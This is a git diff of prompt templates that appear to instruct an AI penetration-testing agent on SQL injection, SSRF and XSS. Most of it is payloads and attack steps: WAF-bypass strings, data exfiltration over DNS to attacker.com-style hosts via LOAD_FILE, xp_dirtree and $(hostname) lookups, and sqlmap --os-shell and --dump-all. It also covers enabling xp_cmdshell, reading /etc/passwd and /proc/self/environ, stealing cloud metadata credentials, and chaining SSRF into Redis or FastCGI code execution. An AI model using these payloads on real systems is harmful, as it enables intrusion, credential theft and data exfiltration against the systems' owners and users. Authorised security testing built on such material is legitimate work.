SeLeCt -- Comments: UN/**/ION SE/**/LECT -- Encoding: %55nion %53elect -- Double words: UNUNIONION SESELECTLECT - - - -- HTTP Parameter Pollution: id=1&id=' UNION SELECT -- JSON/XML format switching -- Chunked encoding -- Unicode normalization -- Scientific notation: 1e0 UNION SELECT - - - - + -- Version: @@version -- Database: database() -- User: user(), current_user() -- Tables: information_schema.tables -- Columns: information_schema.columns +- Version/user/db: @@version, database(), user(), current_user() +- Error-based: extractvalue()/updatexml() (older), JSON functions for error shaping +- File IO: LOAD_FILE(), SELECT ... INTO DUMPFILE/OUTFILE (requires FILE privilege, secure_file_priv) +- OOB/DNS: LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a')) +- Time: SLEEP(n), BENCHMARK +- JSON: JSON_EXTRACT/JSON_SEARCH with crafted paths; GIS funcs sometimes leak - -- Version: @@version -- Database: db_name() -- User: user_name(), system_user -- Tables: sysobjects WHERE xtype='U' -- Enable xp_cmdshell: sp_configure 'xp_cmdshell',1;RECONFIGURE - - -- Version: version() -- Database: current_database() -- User: current_user -- Tables: pg_tables -- Command execution: CREATE EXTENSION +- Version/user/db: version(), current_user, current_database() +- Error-based: raise exception via unsupported casts or division by zero; xpath() errors in xml2 +- OOB: COPY (program ...) or dblink/foreign data wrappers (when enabled); http extensions +- Time: pg_sleep(n) +- Files: COPY table TO/FROM '/path' (requires superuser), lo_import/lo_export +- JSON/JSONB: operators ->, ->>, @>, ?| with lateral/CTE for blind extraction + +- Version/db/user: @@version, db_name(), system_user, user_name() +- OOB/DNS: xp_dirtree, xp_fileexist; HTTP via OLE automation (sp_OACreate) if enabled +- Exec: xp_cmdshell (often disabled), OPENROWSET/OPENDATASOURCE +- Time: WAITFOR DELAY '0:0:5'; heavy functions cause measurable delays +- Error-based: convert/parse, divide by zero, FOR XML PATH leaks + + -- Version: SELECT banner FROM v$version -- Database: SELECT ora_database_name FROM dual -- User: SELECT user FROM dual -- Tables: all_tables +- Version/db/user: banner from v$version, ora_database_name, user +- OOB: UTL_HTTP/DBMS_LDAP/UTL_INADDR/HTTPURITYPE (permissions dependent) +- Time: dbms_lock.sleep(n) +- Error-based: to_number/to_date conversions, XMLType +- File: UTL_FILE with directory objects (privileged) - + - - -{% raw %}{"username": {"$ne": null}, "password": {"$ne": null}}{% endraw %} -{% raw %}{"$where": "this.username == 'admin'"}{% endraw %} -{% raw %}{"username": {"$regex": "^admin"}}{% endraw %} - + +- Branch on single-bit predicates using SUBSTRING/ASCII, LEFT/RIGHT, or JSON/array operators +- Binary search on character space for fewer requests; encode outputs (hex/base64) to normalize +- Gate delays inside subqueries to reduce noise: AND (SELECT CASE WHEN (predicate) THEN pg_sleep(0.5) ELSE 0 END) + - -{users(where:{OR:[{id:1},{id:2}]}){id,password}} -{__schema{types{name,fields{name}}}} - - + +- Prefer OAST to minimize noise and bypass strict response paths; embed data in DNS labels or HTTP query params +- MSSQL: xp_dirtree \\\\.attacker.tld\\a; Oracle: UTL_HTTP.REQUEST('http://.attacker'); MySQL: LOAD_FILE with UNC + - -SQLMap flags: -- Risk/Level: --risk=3 --level=5 -- Bypass WAF: --tamper=space2comment,between -- OS Shell: --os-shell -- Database dump: --dump-all -- Specific technique: --technique=T (time-based) - + +- Auth bypass: inject OR-based tautologies or subselects into login checks +- Privilege changes: update role/plan/feature flags when UPDATE is injectable +- File write: INTO OUTFILE/DUMPFILE, COPY TO, xp_cmdshell redirection; aim for webroot only when feasible and legal +- Job/proc abuse: schedule tasks or create procedures/functions when permissions allow + + + +- Whitespace/spacing: /**/, /**/!00000, comments, newlines, tabs, 0xe3 0x80 0x80 (ideographic space) +- Keyword splitting/concatenation: UN/**/ION, U%4eION, backticks/quotes, case folding +- Numeric tricks: scientific notation, signed/unsigned, hex (0x61646d696e) +- Encodings: double URL encoding, mixed Unicode normalizations (NFKC/NFD), char()/CONCAT_ws to build tokens +- Clause relocation: subselects, derived tables, CTEs (WITH), lateral joins to hide payload shape + + + +- Dangerous APIs: whereRaw/orderByRaw, string interpolation into LIKE/IN/ORDER clauses +- Injections via identifier quoting (table/column names) when user input is interpolated into identifiers +- JSON containment operators exposed by ORMs (e.g., @> in PostgreSQL) with raw fragments +- Parameter mismatch: partial parameterization where operators or lists remain unbound (IN (...)) + + + +- ORDER BY/GROUP BY/HAVING with CASE WHEN for boolean channels +- LIMIT/OFFSET: inject into OFFSET to produce measurable timing or page shape +- Full-text/search helpers: MATCH AGAINST, to_tsvector/to_tsquery with payload mixing +- XML/JSON functions: error generation via malformed documents/paths + -To confirm SQL injection: -1. Demonstrate database version extraction -2. Show database/table enumeration -3. Extract actual data -4. Prove query manipulation -5. Document consistent exploitation +1. Show a reliable oracle (error/boolean/time/OAST) and prove control by toggling predicates. +2. Extract verifiable metadata (version, current user, database name) using the established channel. +3. Retrieve or modify a non-trivial target (table rows, role flag) within legal scope. +4. Provide reproducible requests that differ only in the injected fragment. +5. Where applicable, demonstrate defense-in-depth bypass (WAF on, still exploitable via variant). -NOT SQLi if: -- Only generic errors -- No time delays work -- Same response for all payloads -- Parameterized queries properly used -- Input validation effective +- Generic errors unrelated to SQL parsing or constraints +- Static response sizes due to templating rather than predicate truth +- Artificial delays from network/CPU unrelated to injected function calls +- Parameterized queries with no string concatenation, verified by code review -- Database content theft -- Authentication bypass -- Data manipulation -- Command execution (xp_cmdshell) -- File system access -- Complete database takeover +- Direct data exfiltration and privacy/regulatory exposure +- Authentication and authorization bypass via manipulated predicates +- Server-side file access or command execution (platform/privilege dependent) +- Persistent supply-chain impact via modified data, jobs, or procedures -1. Always try UNION SELECT first -2. Use sqlmap for automation -3. Test all HTTP headers -4. Try different encodings -5. Check for second-order SQLi -6. Test JSON/XML parameters -7. Look for error messages -8. Try time-based for blind -9. Check INSERT/UPDATE contexts -10. Focus on data extraction +1. Pick the quietest reliable oracle first; avoid noisy long sleeps. +2. Normalize responses (length/ETag/digest) to reduce variance when diffing. +3. Aim for metadata then jump directly to business-critical tables; minimize lateral noise. +4. When UNION fails, switch to error- or blind-based bit extraction; prefer OAST when available. +5. Treat ORMs as thin wrappers: raw fragments often slip through; audit whereRaw/orderByRaw. +6. Use CTEs/derived tables to smuggle expressions when filters block SELECT directly. +7. Exploit JSON/JSONB operators in Postgres and JSON functions in MySQL for side channels. +8. Keep payloads portable; maintain DBMS-specific dictionaries for functions and types. +9. Validate mitigations with negative tests and code review; parameterize operators/lists correctly. +10. Document exact query shapes; defenses must match how the query is constructed, not assumptions. -Modern SQLi requires bypassing WAFs and dealing with complex queries. Focus on extracting sensitive data - passwords, API keys, PII. Time-based blind SQLi works when nothing else does. +Modern SQLi succeeds where authorization and query construction drift from assumptions. Bind parameters everywhere, avoid dynamic identifiers, and validate at the exact boundary where user input meets SQL. diff --git a/strix/prompts/vulnerabilities/ssrf.jinja b/strix/prompts/vulnerabilities/ssrf.jinja index a57d678..9888eef 100644 --- a/strix/prompts/vulnerabilities/ssrf.jinja +++ b/strix/prompts/vulnerabilities/ssrf.jinja @@ -1,168 +1,135 @@ -SERVER-SIDE REQUEST FORGERY (SSRF) - ADVANCED EXPLOITATION +SERVER-SIDE REQUEST FORGERY (SSRF) -SSRF can lead to internal network access, cloud metadata theft, and complete infrastructure compromise. +SSRF enables the server to reach networks and services the attacker cannot. Focus on cloud metadata endpoints, service meshes, Kubernetes, and protocol abuse to turn a single fetch into credentials, lateral movement, and sometimes RCE. - -- URL parameters: url=, link=, path=, src=, href=, uri= -- File import/export features -- Webhooks and callbacks -- PDF generators (wkhtmltopdf) -- Image processing (ImageMagick) -- Document parsers -- Payment gateways (IPN callbacks) -- Social media card generators -- URL shorteners/expanders - + +- Outbound HTTP/HTTPS fetchers (proxies, previewers, importers, webhook testers) +- Non-HTTP protocols via URL handlers (gopher, dict, file, ftp, smb wrappers) +- Service-to-service hops through gateways and sidecars (envoy/nginx) +- Cloud and platform metadata endpoints, instance services, and control planes + - -- Referer headers in analytics -- Link preview generation -- RSS/Feed fetchers -- Repository cloning (Git/SVN) -- Package managers (npm, pip) -- Calendar invites (ICS files) -- OAuth redirect_uri -- SAML endpoints -- GraphQL field resolvers - + +1. Identify every user-influenced URL/host/path across web/mobile/API and background jobs. Include headers that trigger server-side fetches (link previews, analytics, crawler hooks). +2. Establish a quiet oracle first (OAST DNS/HTTP callbacks). Then pivot to internal addressing (loopback, RFC1918, link-local, IPv6, hostnames) and protocol variations. +3. Enumerate redirect behavior, header propagation, and method control (GET-only vs arbitrary). Test parser differentials across frameworks, CDNs, and language libraries. +4. Target high-value services (metadata, kubelet, Redis, FastCGI, Docker, Vault, internal admin panels). Chain to write/exec primitives if possible. + - + +- Direct URL params: url=, link=, fetch=, src=, webhook=, avatar=, image= +- Indirect sources: Open Graph/link previews, PDF/image renderers, server-side analytics (Referer trackers), import/export jobs, webhooks/callback verifiers +- Protocol-translating services: PDF via wkhtmltopdf/Chrome headless, image pipelines, document parsers, SSO validators, archive expanders +- Less obvious: GraphQL resolvers that fetch by URL, background crawlers, repository/package managers (git, npm, pip), calendar (ICS) fetchers + + + -Legacy: http://169.254.169.254/latest/meta-data/ -IMDSv2: Requires token but check if app proxies headers -Key targets: /iam/security-credentials/, /user-data/ +- IMDSv1: http://169.254.169.254/latest/meta-data/ → {% raw %}/iam/security-credentials/{role}{% endraw %}, {% raw %}/user-data{% endraw %} +- IMDSv2: requires token via PUT {% raw %}/latest/api/token{% endraw %} with header {% raw %}X-aws-ec2-metadata-token-ttl-seconds{% endraw %}, then include {% raw %}X-aws-ec2-metadata-token{% endraw %} on subsequent GETs. If the sink cannot set headers or methods, fallback to other targets or seek intermediaries that can +- ECS/EKS task credentials: {% raw %}http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI{% endraw %} - -http://metadata.google.internal/computeMetadata/v1/ -Requires: Metadata-Flavor: Google header -Target: /instance/service-accounts/default/token - + +- Endpoint: http://metadata.google.internal/computeMetadata/v1/ +- Required header: {% raw %}Metadata-Flavor: Google{% endraw %} +- Target: {% raw %}/instance/service-accounts/default/token{% endraw %} + -http://169.254.169.254/metadata/instance?api-version=2021-02-01 -Requires: Metadata: true header -OAuth: /metadata/identity/oauth2/token +- Endpoint: http://169.254.169.254/metadata/instance?api-version=2021-02-01 +- Required header: {% raw %}Metadata: true{% endraw %} +- MSI OAuth: {% raw %}/metadata/identity/oauth2/token{% endraw %} - - - -Common ports: 21,22,80,443,445,1433,3306,3389,5432,6379,8080,9200,27017 - + +- Kubelet: 10250 (authenticated) and 10255 (deprecated read-only). Probe {% raw %}/pods{% endraw %}, {% raw %}/metrics{% endraw %}, exec/attach endpoints +- API server: https://kubernetes.default.svc/. Authorization often needs the service account token; SSRF that propagates headers/cookies may reuse them +- Service discovery: attempt cluster DNS names (svc.cluster.local) and default services (kube-dns, metrics-server) + + - -- Elasticsearch: http://localhost:9200/_cat/indices -- Redis: dict://localhost:6379/INFO -- MongoDB: http://localhost:27017/test -- Docker: http://localhost:2375/v1.24/containers/json -- Kubernetes: https://kubernetes.default.svc/api/v1/ - - + +- Docker API: http://localhost:2375/v1.24/containers/json (no TLS variants often internal-only) +- Redis/Memcached: dict://localhost:11211/stat, gopher payloads to Redis on 6379 +- Elasticsearch/OpenSearch: http://localhost:9200/_cat/indices +- Message brokers/admin UIs: RabbitMQ, Kafka REST, Celery/Flower, Jenkins crumb APIs +- FastCGI/PHP-FPM: gopher://localhost:9000/ (craft records for file write/exec when app routes to FPM) + -Redis RCE, SMTP injection, FastCGI exploitation +- Speak raw text protocols (Redis/SMTP/IMAP/HTTP/FCGI). Use to craft multi-line payloads, schedule cron via Redis, or build FastCGI requests - -file:///etc/passwd, file:///proc/self/environ - + +- file:///etc/passwd, file:///proc/self/environ when libraries allow file handlers +- jar:, netdoc:, smb:// and language-specific wrappers (php://, expect://) where enabled + - -dict://localhost:11211/stat (Memcached) - - + + +- Loopback: 127.0.0.1, 127.1, 2130706433, 0x7f000001, ::1, [::ffff:127.0.0.1] +- RFC1918/link-local: 10/8, 172.16/12, 192.168/16, 169.254/16; test IPv6-mapped and mixed-notation forms + - - -First request → your server, second → 127.0.0.1 - + +- Userinfo and fragments: http://internal@attacker/ or http://attacker#@internal/ +- Scheme-less/relative forms the server might complete internally: //169.254.169.254/ +- Trailing dots and mixed case: internal. vs INTERNAL, Unicode dot lookalikes + - -- Decimal IP: http://2130706433/ (127.0.0.1) -- Octal: http://0177.0.0.1/ -- Hex: http://0x7f.0x0.0x0.0x1/ -- IPv6: http://[::1]/, http://[::ffff:127.0.0.1]/ - + +- Allowlist only applied pre-redirect: 302 from attacker → internal host. Test multi-hop and protocol switches (http→file/gopher via custom clients) + - -- Authority: http://expected@evil/ -- Unicode: http://⑯⑨。②⑤④。⑯⑨。②⑤④/ - + +- Some sinks reflect or allow CRLF-injection into the request line/headers; if arbitrary headers/methods are possible, IMDSv2, GCP, and Azure become reachable + - -302 → yourserver.com → 169.254.169.254 - - + +- Use OAST (DNS/HTTP) to confirm egress. Derive internal reachability from timing, response size, TLS errors, and ETag differences +- Build a port map by binary searching timeouts (short connect/read timeouts yield cleaner diffs) + - - -- DNS exfiltration: http://$(hostname).attacker.com/ -- Timing attacks for network mapping -- Error-based detection - + +- SSRF → Metadata creds → cloud API access (list buckets, read secrets) +- SSRF → Redis/FCGI/Docker → file write/command execution → shell +- SSRF → Kubelet/API → pod list/logs → token/secret discovery → lateral + - -- Redis: gopher://localhost:6379/ (cron injection) -- Memcached: gopher://localhost:11211/ -- FastCGI: gopher://localhost:9000/ - - + +1. Prove an outbound server-initiated request occurred (OAST interaction or internal-only response differences). +2. Show access to non-public resources (metadata, internal admin, service ports) from the vulnerable service. +3. Where possible, demonstrate minimal-impact credential access (short-lived token) or a harmless internal data read. +4. Confirm reproducibility and document request parameters that control scheme/host/headers/method and redirect behavior. + - - -127.1, 0177.0.0.1, 0x7f000001, 2130706433, 127.0.0.0/8, localtest.me - + +- Client-side fetches only (no server request) +- Strict allowlists with DNS pinning and no redirect following +- SSRF simulators/mocks returning canned responses without real egress +- Blocked egress confirmed by uniform errors across all targets and protocols + - -http://evil.com#@good.com/, http:evil.com - - - -dict://, gopher://, ftp://, file://, jar://, netdoc:// - - - - -To confirm SSRF: -1. External callbacks (DNS/HTTP) -2. Internal network access (different responses) -3. Time-based detection (timeouts) -4. Cloud metadata retrieval -5. Protocol differentiation - - - -NOT SSRF if: -- Only client-side redirects -- Whitelist properly blocking -- Generic errors for all URLs -- No outbound requests made -- Same-origin policy enforced - - - -- Cloud credential theft (AWS/GCP/Azure) -- Internal admin panel access -- Port scanning results -- SSRF to RCE chain -- Data exfiltration - + +- Cloud credential disclosure with subsequent control-plane/API access +- Access to internal control panels and data stores not exposed publicly +- Lateral movement into Kubernetes, service meshes, and CI/CD +- RCE via protocol abuse (FCGI, Redis), Docker daemon access, or scriptable admin interfaces + -1. Always check cloud metadata first -2. Chain with other vulns (SSRF + XXE) -3. Use time delays for blind SSRF -4. Try all protocols, not just HTTP -5. Automate internal network scanning -6. Check parser quirks (language-specific) -7. Monitor DNS for blind confirmation -8. Try IPv6 (often forgotten) -9. Abuse redirects for filter bypass -10. SSRF can be in any URL-fetching feature +1. Prefer OAST callbacks first; then iterate on internal addressing and protocols. +2. Test IPv6 and mixed-notation addresses; filters often ignore them. +3. Observe library/client differences (curl, Java HttpClient, Node, Go); behavior changes across services and jobs. +4. Redirects are leverage: control both the initial allowlisted host and the next hop. +5. Metadata endpoints require headers/methods; verify if your sink can set them or if intermediaries add them for you. +6. Use tiny payloads and tight timeouts to map ports with minimal noise. +7. When responses are masked, diff length/ETag/status and TLS error classes to infer reachability. +8. Chain quickly to durable impact (short-lived tokens, harmless internal reads) and stop there. -SSRF is often the key to cloud compromise. A single SSRF in cloud = complete account takeover through metadata access. +Any feature that fetches remote content on behalf of a user is a potential tunnel to internal networks and control planes. Bind scheme/host/port/headers explicitly or expect an attacker to route through them. diff --git a/strix/prompts/vulnerabilities/xss.jinja b/strix/prompts/vulnerabilities/xss.jinja index 3b4d938..67730af 100644 --- a/strix/prompts/vulnerabilities/xss.jinja +++ b/strix/prompts/vulnerabilities/xss.jinja @@ -1,221 +1,169 @@ -CROSS-SITE SCRIPTING (XSS) - ADVANCED EXPLOITATION +CROSS-SITE SCRIPTING (XSS) -XSS leads to account takeover, data theft, and complete client-side compromise. Modern XSS requires sophisticated bypass techniques. +XSS persists because context, parser, and framework edges are complex. Treat every user-influenced string as untrusted until it is strictly encoded for the exact sink and guarded by runtime policy (CSP/Trusted Types). + + +- Reflected, stored, and DOM-based XSS across web/mobile/desktop shells +- Multi-context injections: HTML, attribute, URL, JS, CSS, SVG/MathML, Markdown, PDF +- Framework-specific sinks (React/Vue/Angular/Svelte), template engines, and SSR/ISR +- CSP/Trusted Types interactions, bypasses, and gadget-based execution + + + +1. Identify sources (URL/query/hash/referrer, postMessage, storage, WebSocket, service worker messages, server JSON) and trace to sinks. +2. Classify sink context: HTML node, attribute, URL, script block, event handler, JavaScript eval-like, CSS, SVG foreignObject. +3. Determine current defenses: output encoding, sanitizer, CSP, Trusted Types, DOMPurify config, framework auto-escaping. +4. Craft minimal payloads per context; iterate with encoding/whitespace/casing/DOM mutation variants; confirm with observable side effects beyond alert. + -- URL parameters: ?search=, ?q=, ?name= -- Form inputs: text, textarea, hidden fields -- Headers: User-Agent, Referer, X-Forwarded-For -- Cookies (if reflected) -- File uploads (filename, metadata) -- JSON endpoints: {% raw %}{"user":""}{% endraw %} -- postMessage handlers -- DOM properties: location.hash, document.referrer -- WebSocket messages -- PDF/document generators +- Server render: templates (Jinja/EJS/Handlebars), SSR frameworks, email/PDF renderers +- Client render: innerHTML/outerHTML/insertAdjacentHTML, template literals, dangerouslySetInnerHTML, v-html, $sce.trustAsHtml, Svelte {@html} +- URL/DOM: location.hash/search, document.referrer, base href, data-* attributes +- Events/handlers: onerror/onload/onfocus/onclick and JS: URL handlers +- Cross-context: postMessage payloads, WebSocket messages, local/sessionStorage, IndexedDB +- File/metadata: image/SVG/XML names and EXIF, office documents processed server/client - - -Simple: -HTML:

test

-Script: -Event: -Protocol: javascript:alert(1) -
+ +- HTML text: encode < > & " ' +- Attribute value: encode " ' < > & and ensure attribute quoted; avoid unquoted attributes +- URL/JS URL: encode and validate scheme (allowlist https/mailto/tel); disallow javascript/data +- JS string: escape quotes, backslashes, newlines; prefer JSON.stringify +- CSS: avoid injecting into style; sanitize property names/values; beware url() and expression() +- SVG/MathML: treat as active content; many tags execute via onload or animation events + - -- HTML: <>&"' -- Attribute: "'<>& -- JavaScript: "'\/\n\r\t -- URL: %3C%3E%22%27 -- CSS: ()'";{} - -
+ + +- Compare responses with/without payload; normalize by length/ETag/digest; observe DOM diffs with MutationObserver +- Time-based userland probes: setTimeout gating to detect execution without visible UI + - - - - - -
-